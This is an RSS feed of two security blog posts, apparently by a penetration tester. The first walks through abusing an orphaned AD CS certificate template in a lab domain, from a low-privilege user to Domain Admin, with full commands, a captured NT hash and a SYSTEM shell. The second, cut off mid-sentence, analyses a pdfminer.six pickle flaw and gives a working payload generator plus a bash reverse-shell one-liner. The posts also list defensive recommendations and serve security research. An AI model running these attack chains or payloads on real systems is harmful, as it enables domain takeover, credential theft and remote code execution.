<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by c0gnit00 on Medium]]></title>
        <description><![CDATA[Stories by c0gnit00 on Medium]]></description>
        <link>https://medium.com/@c0gnit00?source=rss-60fce9fc52b2------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ivuKKT5xeLZkdAe0AJZ9uA.jpeg</url>
            <title>Stories by c0gnit00 on Medium</title>
            <link>https://medium.com/@c0gnit00?source=rss-60fce9fc52b2------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 19:43:17 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@c0gnit00/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Orphaned Certificate Template: From Low-Privilege User to Domain Admin]]></title>
            <link>https://medium.com/@c0gnit00/orphaned-certificate-template-from-low-privilege-user-to-domain-admin-012231b44114?source=rss-60fce9fc52b2------2</link>
            <guid isPermaLink="false">https://medium.com/p/012231b44114</guid>
            <category><![CDATA[adcs-attacks]]></category>
            <dc:creator><![CDATA[c0gnit00]]></dc:creator>
            <pubDate>Tue, 18 Aug 2026 19:19:36 GMT</pubDate>
            <atom:updated>2026-08-18T19:19:36.683Z</atom:updated>
            <content:encoded><![CDATA[<p>Most red teamers and penetration testers are familiar with AD CS abuse through the well-documented ESC1 through ESC8 attack paths. You find a misconfigured template, you exploit it. But what happens when every template in the environment is properly locked down, yet the Certificate Authority still references templates that no longer exist in Active Directory?</p><p>This is the story of an overlooked attack surface in AD CS: orphaned certificate templates. During an engagement against an Active Directory environment (referred to here as pwnlab.local), I discovered that a CA had several templates published in its enrollment service that had no corresponding objects in the AD database. Combined with a low-privilege user’s ability to create objects in the Certificate Templates container, this gap turned into a straight path to Domain Admin.</p><p>In this article, I will walk through the underlying AD concepts, the enumeration process, and the full exploitation chain from a standard domain user to NT AUTHORITY\SYSTEM on the Domain Controller.</p><h2>Understanding the AD Concepts</h2><p>Before diving into the exploitation, it is important to understand the components involved.</p><h2>Active Directory Certificate Services (AD CS)</h2><p>AD CS is Microsoft’s built-in Public Key Infrastructure (PKI) for Active Directory environments. It allows organizations to issue, manage, and validate digital certificates. At the core of AD CS sits the Certificate Authority (CA), which issues certificates based on predefined rules called certificate templates.</p><h2>Certificate Templates</h2><p>Certificate templates are Active Directory objects of the class pKICertificateTemplate, stored under the following container:</p><pre>CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=pwnlab,DC=local</pre><p>Each template defines the rules for certificate issuance: which Extended Key Usages (EKUs) are permitted, who can enroll, how the subject name is determined, key size requirements, validity period, and more.</p><p>For a template to be functional, two conditions must be met simultaneously. First, the template object must exist in the AD database at the path above. Second, the template name must be listed in the certificateTemplates attribute of the CA&#39;s enrollment service object. If either condition is missing, enrollment against that template will not succeed under normal circumstances.</p><h2>What is an Orphaned Template?</h2><p>An orphaned template is a template name that the CA still references in its published list, but whose actual AD object has been deleted or was never created. This can happen when an administrator removes a template from the AD database without also unpublishing it from the CA, or when templates are created through scripts that fail partway through.</p><p>The CA continues to believe it can issue certificates for that template. If someone were to recreate the AD object with the same name, the CA would immediately begin honoring enrollment requests against it, without any additional publishing step required.</p><h2>OID Objects</h2><p>Every certificate template requires an associated Object Identifier (OID), stored as an msPKI-Cert-Template-OID attribute value. OIDs are globally unique dotted-number strings such as 1.3.6.1.4.1.311.21.8.xxxx.xxxx, used across X.509 and PKI standards to unambiguously identify algorithms, extensions, policies, and template types without name collisions.</p><p>These OID values are backed by corresponding objects stored in the OID container:</p><pre>CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=pwnlab,DC=local</pre><p>When a certificate is issued, its extensions include the template’s OID via the Certificate Template Information extension (OID 1.3.6.1.4.1.311.21.7). This is how the CA and any downstream validator trace a specific certificate back to the exact template that governed its issuance. You cannot create a valid template without also creating this supporting OID entry.</p><h2>ESC1: Enrollee Supplies Subject</h2><p>ESC1 is a well-known AD CS misconfiguration classified in SpecterOps’ original AD CS research. A template is vulnerable to ESC1 when the following conditions are all true:</p><ul><li>The CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag is set in msPKI-Certificate-Name-Flag, allowing the requester to specify their own Subject Alternative Name (SAN) in the certificate signing request.</li><li>The template includes the Client Authentication EKU (1.3.6.1.5.5.7.3.2), making the issued certificate usable for Kerberos PKINIT authentication.</li><li>A low-privileged user has enrollment rights on the template.</li><li>No manager approval is required (CT_FLAG_PEND_ALL_REQUESTS is not set).</li></ul><p>When all conditions are met, an attacker can request a certificate with the UPN of any user in the domain, including Domain Admin, and use it to authenticate as that user.</p><h2>CREATE_CHILD Permission</h2><p>The CREATE_CHILD permission on an AD container allows the holder to create new child objects within that container. When granted on the Certificate Templates container CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=pwnlab,DC=local, it permits creation of new pKICertificateTemplate objects. When granted on the OID container CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=pwnlab,DC=local, it permits creation of new OID entries.</p><p>Critically, the user who creates an AD object automatically becomes its owner. The owner of an object has implicit WRITE_DAC permission, meaning they can modify the object&#39;s access control list (DACL) to grant themselves or others any permission, including full control. This is the mechanism that transforms CREATE_CHILD from an administrative convenience into an exploitation primitive.</p><h2>Enumeration</h2><h2>Identifying Writable Permissions</h2><p>The first step is to determine what the compromised user can write to in the domain. Using bloodyad to enumerate writable permissions for the user j.harry:</p><pre>bloodyad -u &#39;j.harry&#39; -p &#39;P@ssw0rd123!&#39; -d pwnlab.local --host DC.pwnlab.local get writable<br> <br>distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=pwnlab,DC=local<br>permission: WRITE<br> <br>distinguishedName: CN=j.harry,CN=Users,DC=pwnlab,DC=local<br>permission: WRITE<br> <br>distinguishedName: CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=pwnlab,DC=local<br>permission: CREATE_CHILD<br> <br>distinguishedName: CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=pwnlab,DC=local<br>permission: CREATE_CHILD<br> <br>distinguishedName: DC=_msdcs.pwnlab.local,CN=MicrosoftDNS,DC=ForestDnsZones,DC=pwnlab,DC=local<br>permission: CREATE_CHILD</pre><p>The user j.harry has CREATE_CHILD on both the Certificate Templates container and the OID container. This is exactly the combination needed: the ability to create a new template and its required OID entry.</p><h2>Querying Existing Templates in AD</h2><p>Next, list all certificate template objects currently present in the Active Directory database:</p><pre>LDAPTLS_REQCERT=never ldapsearch -LLL -H ldaps://DC.pwnlab.local:636 \<br>  -x -D &#39;j.harry@pwnlab.local&#39; -w &#39;P@ssw0rd123!&#39; \<br>  -b &quot;CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=pwnlab,DC=local&quot; \<br>  &quot;(objectClass=pKICertificateTemplate)&quot; cn</pre><p>This returns the standard set of built-in templates: User, UserSignature, SmartcardUser, ClientAuth, SmartcardLogon, EFS, Administrator, EFSRecovery, CodeSigning, CTLSigning, EnrollmentAgent, EnrollmentAgentOffline, MachineEnrollmentAgent, Machine, DomainController, WebServer, CA, SubCA, IPSECIntermediateOnline, IPSECIntermediateOffline, OfflineRouter, CEPEncryption, ExchangeUser, ExchangeUserSignature, CrossCA, CAExchange, KeyRecoveryAgent, DomainControllerAuthentication, DirectoryEmailReplication, Workstation, RASAndIASServer, OCSPResponseSigning, and KerberosAuthentication.</p><h2>Querying Templates Published on the CA</h2><p>Now query the CA’s enrollment service to see which templates it has published and considers available for enrollment:</p><pre>LDAPTLS_REQCERT=never ldapsearch -LLL -H ldaps://DC.pwnlab.local:636 \<br>  -x -D &#39;j.harry@pwnlab.local&#39; -w &#39;P@ssw0rd123!&#39; \<br>  -b &quot;CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=pwnlab,DC=local&quot; \<br>  &quot;(objectClass=pKIEnrollmentService)&quot; cn certificateTemplates dNSHostName<br> <br>dn: CN=pwnlab-DC-CA,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=pwnlab,DC=local<br>cn: pwnlab-DC-CA<br>dNSHostName: dc.pwnlab.local<br>certificateTemplates: RemoteAccessVPN<br>certificateTemplates: EmployeeAuthTemplate<br>certificateTemplates: VPNUserTemplate<br>certificateTemplates: DirectoryEmailReplication<br>certificateTemplates: DomainControllerAuthentication<br>certificateTemplates: KerberosAuthentication<br>certificateTemplates: EFSRecovery<br>certificateTemplates: EFS<br>certificateTemplates: DomainController<br>certificateTemplates: WebServer<br>certificateTemplates: Machine<br>certificateTemplates: User<br>certificateTemplates: SubCA<br>certificateTemplates: Administrator</pre><h2>Identifying the Orphaned Templates</h2><p>Comparing the two outputs reveals the gap. Three templates are published on the CA but have no corresponding objects in the AD database:</p><ul><li>RemoteAccessVPN</li><li>EmployeeAuthTemplate</li><li>VPNUserTemplate</li></ul><p>These are orphaned templates. The CA references them and will honor enrollment requests against them, but the AD objects that define their configuration do not exist. If someone with CREATE_CHILD on the Certificate Templates container creates an object with one of these names, the CA will immediately begin issuing certificates based on whatever configuration that new object defines.</p><h2>Exploitation</h2><p>The attack strategy is straightforward. We cannot publish new templates to the CA because we do not have write access to the enrollment service object. However, we do not need to. The CA already publishes three template names that have no backing AD objects. We simply need to recreate one of them with an attacker-controlled configuration.</p><p>Because we are the creator of the new AD object, we automatically become its owner. As owner, we have full control over its configuration. We can then make the template vulnerable to ESC1 and request a certificate as Domain Admin.</p><p>I chose to recreate the RemoteAccessVPN template.</p><h2>Step 1: Generate a Random OID</h2><p>Each certificate template requires a unique OID. Generate one using the Microsoft enterprise OID base:</p><pre>BASEOID=&quot;1.3.6.1.4.1.311.21.8&quot;<br>A=$(python3 -c &#39;import random; print(random.randint(1000000,9999999))&#39;)<br>B=$(python3 -c &#39;import random; print(random.randint(1000000,9999999))&#39;)<br>HEX=$(openssl rand -hex 16 | tr &#39;[:lower:]&#39; &#39;[:upper:]&#39;)<br>OID_CN=&quot;${B}.${HEX}&quot;<br>NEW_OID=&quot;${BASEOID}.${A}.${B}&quot;</pre><h2>Step 2: Create the OID Object in AD</h2><p>Create the supporting OID object that the template will reference:</p><pre>cat &lt;&lt; EOF &gt; oid.ldif<br>dn: CN=${OID_CN},CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=pwnlab,DC=local<br>changetype: add<br>objectClass: top<br>objectClass: msPKI-Enterprise-Oid<br>cn: ${OID_CN}<br>displayName: RemoteAccessVPN<br>flags: 1<br>msPKI-Cert-Template-OID: ${NEW_OID}<br>EOF<br> <br>LDAPTLS_REQCERT=never ldapadd -x -H ldaps://DC.pwnlab.local:636 \<br>  -D &#39;j.harry@pwnlab.local&#39; -w &#39;P@ssw0rd123!&#39; -f oid.ldif<br>adding new entry &quot;CN=9131624.30CED1549C348046F829F3CD6928CD3C,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=pwnlab,DC=local&quot;</pre><h2>Step 3: Read an Existing Template for Reference</h2><p>Before creating the template, query the built-in User template to understand the required fields and their expected format:</p><pre>LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://DC.pwnlab.local:636 \<br>  -D &#39;j.harry@pwnlab.local&#39; -w &#39;P@ssw0rd123!&#39; \<br>  -b &#39;CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=pwnlab,DC=local&#39; \<br>  &#39;(cn=User)&#39;<br> <br>dn: CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=pwnlab,DC=local<br>objectClass: top<br>objectClass: pKICertificateTemplate<br>cn: User<br>displayName: User<br>flags: 66106<br>revision: 3<br>pKIDefaultKeySpec: 1<br>pKIKeyUsage:: oAA=<br>pKIMaxIssuingDepth: 0<br>pKICriticalExtensions: 2.5.29.15<br>pKIExpirationPeriod:: AEA5hy7h/v8=<br>pKIOverlapPeriod:: AICmCv/e//8=<br>pKIExtendedKeyUsage: 1.3.6.1.4.1.311.10.3.4<br>pKIExtendedKeyUsage: 1.3.6.1.5.5.7.3.4<br>pKIExtendedKeyUsage: 1.3.6.1.5.5.7.3.2<br>pKIDefaultCSPs: 2,Microsoft Base Cryptographic Provider v1.0<br>pKIDefaultCSPs: 1,Microsoft Enhanced Cryptographic Provider v1.0<br>msPKI-RA-Signature: 0<br>msPKI-Enrollment-Flag: 41<br>msPKI-Private-Key-Flag: 16<br>msPKI-Certificate-Name-Flag: -1509949440<br>msPKI-Minimal-Key-Size: 2048<br>msPKI-Template-Schema-Version: 1<br>msPKI-Template-Minor-Revision: 1<br>msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.13218431.14779392.10764427.12370424.10671376.174.1.1</pre><p>A note on the msPKI-Certificate-Name-Flag value. The default value of -1509949440 decodes to 0xA6000000, which sets CT_FLAG_SUBJECT_ALT_REQUIRE_UPN, CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL, CT_FLAG_SUBJECT_REQUIRE_EMAIL, and CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH. Critically, CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (bit 0x00000001) is not set. That single bit is the actual ESC1 trigger. Without it, the CA constructs the subject and SAN from the requester&#39;s own AD attributes rather than from arbitrary attacker-supplied values.</p><p>To make a template genuinely ESC1-exploitable, msPKI-Certificate-Name-Flag must include bit 0x1. The value 0xA6000001, converted to the signed 32-bit decimal that AD expects, would be -1509949439 (note: -439, not -440).</p><h2>Step 4: Create the Orphaned Template</h2><p>Create the RemoteAccessVPN template object in AD. The initial template is created with a safe configuration. The ESC1-specific settings will be applied via certipy in a later step:</p><pre>cat &lt;&lt; EOF &gt; template.ldif<br>dn: CN=RemoteAccessVPN,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=pwnlab,DC=local<br>changetype: add<br>objectClass: top<br>objectClass: pKICertificateTemplate<br>cn: RemoteAccessVPN<br>displayName: RemoteAccessVPN<br>flags: 66106<br>revision: 3<br>pKIDefaultKeySpec: 1<br>pKIKeyUsage:: oAA=<br>pKIMaxIssuingDepth: 0<br>pKICriticalExtensions: 2.5.29.15<br>pKIExpirationPeriod:: AEA5hy7h/v8=<br>pKIOverlapPeriod:: AICmCv/e//8=<br>pKIExtendedKeyUsage: 1.3.6.1.4.1.311.10.3.4<br>pKIExtendedKeyUsage: 1.3.6.1.5.5.7.3.4<br>pKIExtendedKeyUsage: 1.3.6.1.5.5.7.3.2<br>pKIDefaultCSPs: 2,Microsoft Base Cryptographic Provider v1.0<br>pKIDefaultCSPs: 1,Microsoft Enhanced Cryptographic Provider v1.0<br>msPKI-RA-Signature: 0<br>msPKI-Enrollment-Flag: 41<br>msPKI-Private-Key-Flag: 16<br>msPKI-Certificate-Name-Flag: -1509949440<br>msPKI-Minimal-Key-Size: 2048<br>msPKI-Template-Schema-Version: 1<br>msPKI-Template-Minor-Revision: 1<br>msPKI-Cert-Template-OID: ${NEW_OID}<br>EOF<br> <br>LDAPTLS_REQCERT=never ldapadd -x -H ldaps://DC.pwnlab.local:636 \<br>  -D &#39;j.harry@pwnlab.local&#39; -w &#39;P@ssw0rd123!&#39; -f template.ldif<br>adding new entry &quot;CN=RemoteAccessVPN,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=pwnlab,DC=local&quot;</pre><h2>Step 5: Grant Full Control Over the Template</h2><p>Although we are the owner of the newly created object, explicitly granting full control ensures there are no permission issues during subsequent modifications:</p><pre>impacket-dacledit -action write -rights FullControl -principal &#39;j.harry&#39; \<br>  -target-dn &#39;CN=RemoteAccessVPN,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=pwnlab,DC=local&#39; \<br>  &#39;pwnlab.local/j.harry:P@ssw0rd123!&#39; -dc-ip 192.168.14.12 -use-ldaps<br>Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies<br> <br>[*] DACL backed up to dacledit-20260818-205301.bak<br>[*] DACL modified successfully!</pre><h2>Step 6: Retrieve the User SID</h2><p>Get the SID of j.harry to configure enrollment rights on the template:</p><pre>bloodyad -u &#39;j.harry&#39; -p &#39;P@ssw0rd123!&#39; -d &#39;pwnlab.local&#39; --host DC.pwnlab.local \<br>  get object &#39;CN=J.HARRY,CN=USERS,DC=PWNLAB,DC=LOCAL&#39; --attr objectSid<br> <br>distinguishedName: CN=J.HARRY,CN=USERS,DC=PWNLAB,DC=LOCAL<br>objectSid: S-1-5-21-4220238332-57023728-1129110646-1103</pre><h2>Step 7: Configure the Template for ESC1</h2><p>Use certipy to write an ESC1-vulnerable configuration to the template. This single command sets CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT, configures the Client Authentication EKU, removes manager approval requirements, and grants enrollment rights to the specified SID:</p><pre>certipy-ad template -u &#39;j.harry@pwnlab.local&#39; -p &#39;P@ssw0rd123!&#39; \<br>  -dc-ip 192.168.14.12 -template &#39;RemoteAccessVPN&#39; \<br>  -write-default-configuration &#39;S-1-5-21-4220238332-57023728-1129110646-1103&#39; -force<br>Certipy v5.1.0 - by Oliver Lyak (ly4k)<br> <br>[*] Saving current configuration to &#39;RemoteAccessVPN.json&#39;<br>[*] Wrote current configuration for &#39;RemoteAccessVPN&#39; to &#39;RemoteAccessVPN.json&#39;<br>[*] Updating certificate template &#39;RemoteAccessVPN&#39;<br>[*] Adding:<br>[*]     msPKI-Certificate-Application-Policy: [&#39;1.3.6.1.5.5.7.3.2&#39;]<br>[*] Replacing:<br>[*]     nTSecurityDescriptor: &lt;binary data&gt;<br>[*]     flags: 66104<br>[*]     pKIDefaultKeySpec: 2<br>[*]     pKIKeyUsage: b&#39;\x86\x00&#39;<br>[*]     pKIMaxIssuingDepth: -1<br>[*]     pKICriticalExtensions: [&#39;2.5.29.19&#39;, &#39;2.5.29.15&#39;]<br>[*]     pKIExtendedKeyUsage: [&#39;1.3.6.1.5.5.7.3.2&#39;]<br>[*]     msPKI-Enrollment-Flag: 0<br>[*]     msPKI-Certificate-Name-Flag: 1<br>[*] Successfully updated &#39;RemoteAccessVPN&#39;</pre><p>The critical change is msPKI-Certificate-Name-Flag: 1, which sets CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT. This single flag is what allows the requester to specify an arbitrary Subject Alternative Name in the certificate signing request, including the UPN of the Domain Administrator.</p><h2>Step 8: Retrieve the Domain Administrator SID</h2><p>Retrieve the SID of the Domain Administrator account. This SID will be embedded in the certificate request to satisfy strong certificate mapping requirements introduced in recent Windows patches:</p><pre>bloodyad -u &#39;j.harry&#39; -p &#39;P@ssw0rd123!&#39; -d &#39;pwnlab.local&#39; --host DC.pwnlab.local \<br>  get object &#39;CN=Administrator,CN=USERS,DC=PWNLAB,DC=LOCAL&#39; --attr objectSid<br> <br>distinguishedName: CN=Administrator,CN=USERS,DC=PWNLAB,DC=LOCAL<br>objectSid: S-1-5-21-4220238332-57023728-1129110646-500</pre><h2>Step 9: Request a Certificate as Domain Administrator</h2><p>Request a certificate from the CA using the RemoteAccessVPN template, specifying the Domain Administrator&#39;s UPN and SID in the Subject Alternative Name:</p><pre>certipy-ad req -u &#39;j.harry@pwnlab.local&#39; -p &#39;P@ssw0rd123!&#39; \<br>  -dc-ip 192.168.14.12 -target &#39;dc.pwnlab.local&#39; \<br>  -ca &#39;pwnlab-DC-CA&#39; -template &#39;RemoteAccessVPN&#39; \<br>  -upn &#39;Administrator@pwnlab.local&#39; \<br>  -sid &quot;S-1-5-21-4220238332-57023728-1129110646-500&quot; -dcom<br>Certipy v5.1.0 - by Oliver Lyak (ly4k)<br> <br>[*] Requesting certificate via DCOM<br>[*] Request ID is 17<br>[*] Successfully requested certificate<br>[*] Got certificate with UPN &#39;Administrator@pwnlab.local&#39;<br>[*] Certificate object SID is &#39;S-1-5-21-4220238332-57023728-1129110646-500&#39;<br>[*] Saving certificate and private key to &#39;administrator.pfx&#39;<br>[*] Wrote certificate and private key to &#39;administrator.pfx&#39;</pre><p>The CA issued the certificate without hesitation. From its perspective, RemoteAccessVPN is a published template, the requester has enrollment rights, no manager approval is needed, and the template permits enrollee-supplied subjects. Every check passes.</p><h2>Step 10: Authenticate with the Certificate</h2><p>Use the obtained certificate to perform Kerberos PKINIT authentication and retrieve the Domain Administrator’s NT hash:</p><pre>faketime -f &quot;@$(ntpdate -q DC.pwnlab.local | cut -d &#39; &#39; -f 1,2)&quot; \<br>  certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.14.12 -domain pwnlab.local<br>Certipy v5.1.0 - by Oliver Lyak (ly4k)<br> <br>[*] Certificate identities:<br>[*]     SAN UPN: &#39;Administrator@pwnlab.local&#39;<br>[*]     SAN URL SID: &#39;S-1-5-21-4220238332-57023728-1129110646-500&#39;<br>[*]     Security Extension SID: &#39;S-1-5-21-4220238332-57023728-1129110646-500&#39;<br>[*] Using principal: &#39;administrator@pwnlab.local&#39;<br>[*] Trying to get TGT...<br>[*] Got TGT<br>[*] Saving credential cache to &#39;administrator.ccache&#39;<br>[*] Wrote credential cache to &#39;administrator.ccache&#39;<br>[*] Trying to retrieve NT hash for &#39;administrator&#39;<br>[*] Got hash for &#39;administrator@pwnlab.local&#39;: aad3b435b51404eeaad3b435b51404ee:8cacb3a97e460c65d105ca7cd9913925</pre><h2>Step 11: Full Domain Compromise</h2><p>With the Domain Administrator’s Kerberos ticket and NT hash in hand, use either pass-the-hash or Kerberos authentication to gain SYSTEM-level access on the Domain Controller:</p><pre>export KRB5CCNAME=$PWD/administrator.ccache<br> <br>faketime -f &quot;@$(ntpdate -q DC.pwnlab.local | cut -d &#39; &#39; -f 1,2)&quot; \<br>  impacket-psexec &#39;pwnlab.local/administrator@DC.pwnlab.local&#39; \<br>  -dc-ip 192.168.14.12 -k -no-pass<br>Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies<br> <br>[*] Requesting shares on DC.pwnlab.local.....<br>[*] Found writable share ADMIN$<br>[*] Uploading file ZcIBnuzz.exe<br>[*] Opening SVCManager on DC.pwnlab.local.....<br>[*] Creating service nKCI on DC.pwnlab.local.....<br>[*] Starting service nKCI.....<br>[!] Press help for extra shell commands<br>Microsoft Windows [Version 10.0.26100.33158]<br>(c) Microsoft Corporation. All rights reserved.<br> <br>C:\Windows\System32&gt; whoami<br>nt authority\system</pre><h2>Key Takeaways</h2><p>This attack succeeded because of a combination of factors that individually might seem low-risk but together create a critical privilege escalation path.</p><p><strong>The root cause was a stale CA configuration.</strong> The CA had three template names in its published list that no longer had corresponding AD objects. This is a configuration hygiene issue that is easy to overlook and rarely audited.</p><p><strong>CREATE_CHILD on PKI containers is dangerous.</strong> Granting CREATE_CHILD on the Certificate Templates or OID containers effectively grants the ability to create arbitrary certificate templates. Because the creator becomes the owner, they gain full control over the template&#39;s security descriptor and configuration.</p><p><strong>Orphaned templates bypass the need for CA enrollment service modification.</strong> The standard protection against rogue templates is that an attacker would need write access to the CA’s enrollment service to publish a new template. Orphaned templates eliminate this requirement entirely because the template name is already published.</p><p><strong>Detection and prevention recommendations:</strong></p><ul><li>Regularly audit the CA’s published template list against the actual template objects in AD. Any template name present in the enrollment service but absent from the Certificate Templates container is an orphaned template and should be removed from the CA.</li><li>Restrict CREATE_CHILD permissions on PKI-related containers to only the accounts that genuinely need them.</li><li>Monitor for new pKICertificateTemplate object creation events in the Configuration naming context.</li><li>Review template configurations for ESC1 indicators: CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT combined with Client Authentication EKU and low-privilege enrollment rights.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=012231b44114" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2025–64512: Remote Code Execution in pdfminer.six via Unsafe Pickle Deserialization]]></title>
            <link>https://medium.com/@c0gnit00/cve-2025-64512-remote-code-execution-in-pdfminer-six-via-unsafe-pickle-deserialization-b28310aa7902?source=rss-60fce9fc52b2------2</link>
            <guid isPermaLink="false">https://medium.com/p/b28310aa7902</guid>
            <dc:creator><![CDATA[c0gnit00]]></dc:creator>
            <pubDate>Mon, 20 Jul 2026 11:22:35 GMT</pubDate>
            <atom:updated>2026-07-20T11:22:35.023Z</atom:updated>
            <content:encoded><![CDATA[<h2>Executive Summary</h2><p>pdfminer.six is a widely used Python library for extracting information from PDF documents. A critical vulnerability (CVE-2025-64512) exists in the CMap parsing logic of pdfminer.six prior to version 20251107. When processing a specially crafted PDF document containing a custom CMap reference, pdfminer.six attempts to load character mapping data from disk using pickle.loads().</p><p>Because the function responsible for loading CMap data (CMapDB._load_data()) fails to properly sanitize the CMap resource name and resolves arbitrary file paths, an attacker can trick the parser into loading a malicious gzipped pickle file (.pickle.gz) from an arbitrary directory path or remote network share. Upon deserialization, arbitrary Python code embedded in the pickle payload executes automatically within the context and permissions of the process invoking pdfminer.six.</p><h2>Vulnerability Deep-Dive &amp; Root Cause Analysis</h2><p>The flaw lies in the _load_data() method of the CMapDB class in pdfminer/cmapdb.py:</p><pre># Vulnerable code in pdfminer/cmapdb.py:233-246<br>def _load_data(cls, name: str) -&gt; Any:<br>    name = name.replace(&quot;\0&quot;, &quot;&quot;)  # Insufficient sanitization<br>    filename = &quot;%s.pickle.gz&quot; % name<br>    # ... path construction ...<br>    path = os.path.join(directory, filename) # If filename is an absolte path, directory is ignored<br>    # ...<br>    return type(str(name), (), pickle.loads(gzfile.read()))  # Unsafe deserialization</pre><h3>Exploit Mechanics</h3><ol><li><strong>Insufficient Path Sanitization &amp; Traversal:</strong><br>The name argument is passed directly from the PDF&#39;s font /Encoding property. The string replacement name.replace(&quot;\0&quot;, &quot;&quot;) only strips null bytes. It does not sanitize path separators (/, \) or path traversal sequences (..).</li><li><strong>Absolute Path Override in </strong><strong>os.path.join:</strong><br>When filename represents an absolute path (or a UNC path on Windows), Python&#39;s os.path.join(directory, filename) discards the preceding directory path component and uses filename directly.</li><li><strong>Extension Appending:</strong><br>The library appends .pickle.gz to the supplied name. Therefore, if the PDF specifies a CMap name such as /home/user/payload, pdfminer.six constructs the path /home/user/payload.pickle.gz.</li><li><strong>Unsafe Deserialization (</strong><strong>pickle.loads):</strong><br>The file at the resolved path is opened with gzip and passed directly to pickle.loads(). Python&#39;s pickle module is inherently unsafe for untrusted input; objects implementing the __reduce__ method can specify arbitrary callables (such as os.system or eval) to run upon deserialization.</li></ol><h2>Operating System Exploitability Assessment</h2><p>The difficulty of triggering this vulnerability remotely depends heavily on the target operating system:</p><h3>Linux / macOS (Local Path Constraint)</h3><ul><li>On Unix-like systems, pdfminer.six can only resolve files residing on accessible local filesystems.</li><li>An attacker must either identify a known directory location on the victim server where they can upload or drop files (e.g., an /uploads/ directory on a web server), or target systems configured to process PDFs alongside uploaded auxiliary files.</li><li>While exploitation requires knowledge of the absolute or relative target path, it poses a severe threat in web applications that store uploaded attachments in predictable directories.</li></ul><h3>Windows (Remote UNC / WebDAV / SMB Exploitation)</h3><ul><li>Windows path resolution natively supports UNC paths (\\attacker-ip\share\payload) and WebDAV/SMB paths.</li><li>An attacker can host the malicious .pickle.gz file remotely on an attacker-controlled SMB server and reference the remote UNC path directly inside the PDF /Encoding field.</li><li>This enables direct remote code execution on Windows without requiring any pre-existing local file upload.</li></ul><h2>Proof of Concept (PoC)</h2><p>Below is the complete step-by-step demonstration for generating the malicious pickle payload, constructing the triggering PDF document, configuring the vulnerable environment, and catching the resulting reverse shell.</p><h3>Step 1: Malicious Zipped Pickle Payload Generation</h3><p>The following script, pickle_payload.py, constructs a gzipped pickle payload that executes a specified shell command via Python&#39;s eval and __import__(&quot;os&quot;).system:</p><pre>#!/usr/bin/env python3<br>import argparse<br>import pickle<br>import gzip<br><br>parser = argparse.ArgumentParser(description=&quot;Generate pickle RCE payload for CVE-2025-64512&quot;)<br>parser.add_argument(&#39;-c&#39;, &#39;--command&#39;, required=True, help=&#39;Command to execute&#39;)<br>parser.add_argument(&#39;-o&#39;, &#39;--output&#39;, default=&#39;payload.pickle.gz&#39;, help=&#39;Output file&#39;)<br>args = parser.parse_args()<br><br>def create_rce_pickle():<br>    print(&quot;Creating malicious pickle file...&quot;)<br>    escaped_cmd = args.command.replace(&#39;&quot;&#39;, &#39;\\&quot;&#39;)<br>    class PickleRCE:<br>        def __reduce__(self):<br>            # Use double quotes for the system() string to avoid single-quote conflicts<br>            return (eval, (&#39;__import__(&quot;os&quot;).system(&quot;&#39; + escaped_cmd + &#39;&quot;) or {}&#39;,))<br>    payload = PickleRCE()<br>    try:<br>        with gzip.open(args.output, &#39;wb&#39;) as f:<br>            pickle.dump(payload, f)<br>        print(f&quot;Created malicious pickle file: {args.output}&quot;)<br>        return args.output<br>    except Exception as e:<br>        print(f&quot;Error creating pickle file: {e}&quot;)<br>        return None<br>if __name__ == &quot;__main__&quot;:<br>    create_rce_pickle()</pre><p>Execution Output:</p><pre>┌──(kali㉿kali)-[~/CVE-2025-64512]<br>└─$ python3 pickle_payload.py  -c &quot;bash -c &#39;bash -i &gt;&amp; /dev/tcp/127.0.0.1/4444 0&gt;&amp;1&#39;&quot; -o pwn.pickle.gz<br>Creating malicious pickle file...<br>Created malicious pickle file: pwn.pickle.gz</pre><h3>Step 2: Malicious PDF Generation</h3><p>In PDF structure, a Type0 font object references an /Encoding property for CMap resolution. Path characters like / are hex-encoded as 